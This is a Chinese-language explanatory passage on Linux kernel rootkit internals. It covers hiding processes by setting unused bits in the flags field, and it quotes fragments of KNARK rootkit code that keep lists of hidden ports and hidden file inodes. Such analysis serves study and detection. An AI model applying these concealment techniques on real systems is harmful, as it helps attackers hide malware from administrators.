将信息置于目前不使用的扩展字段或者在不和当前信息冲突的前提下将信息“挤”进当前字段,正如current->flags可以重用一样,比如,如果标准内核中已经定义个若干flag标志,比如running,sleeping等,我们就可以使用还没有使用的标志,要知道如果flags字段是一个32位的整型,那么标准的标志占有极少的一部分,我们可以随意使用剩下的部分用于我们自己的目的,例如我们在设置一个进程为隐藏的时候将其flags于一个还没有被标准内核使用的flag,我们暂且称为new相与,然后在显示进程的时候判断该进程的flags字段是否有new,如果有的话就不显示,反之显示,这是一种很简单的方式,但是有的时候却不能奏效,比如涉及到别的数据结构而不仅仅是一个标志位可以识别的情形,那么就需要额外的数据结构了,这另外一种方式就是使用额外的链表或者别的什么容器来容纳额外的信息,比如KNARK中使用的那样,这种方式比较容易被发现,毕竟内核中出现了陌生面孔,现在就看看在KNARK这个rootkit中的方式:
在隐藏端口的时候,KNARK使用了以下数据结构:
struct nethide_list //隐藏端口使用
{
struct nethide_list *next;
char *nl_hidestr; //端口号的字符串表示
} *knark_nethide_list = NULL;
int knark_add_nethide(char *hidestr)
{
struct nethide_list *nl = knark_nethide_list;
if(nl->nl_hidestr) //找到一个空闲的slot
{
while(nl->next)
nl = nl->next;
nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL);
if(nl->next == NULL) return -1;
nl = nl->next;
}
nl->next = NULL;
nl->nl_hidestr = hidestr;
return 0;
}
下面看看隐藏文件使用的数据结构:
struct knark_dev_struct { //每个设备一个
kdev_t d_dev; int d_nfiles;
ino_t d_inode[MAX_SECRET_FILES]; //最大的文件数的inode数组
char *d_name[MAX_SECRET_FILES]; //最大的文件数的name数组
};
struct knark_fs_struct {
int f_ndevs;
struct knark_dev_struct *f_dev[MAX_SECRET_DEVS];
} *kfs;
一旦想隐藏一个文件,那么就会往对应的knark_fs_struct的相应的knark_dev_struct中插入一条记录,在显示文件的时候会查询这个链表,如果文件存在于这个容器那么不予显示。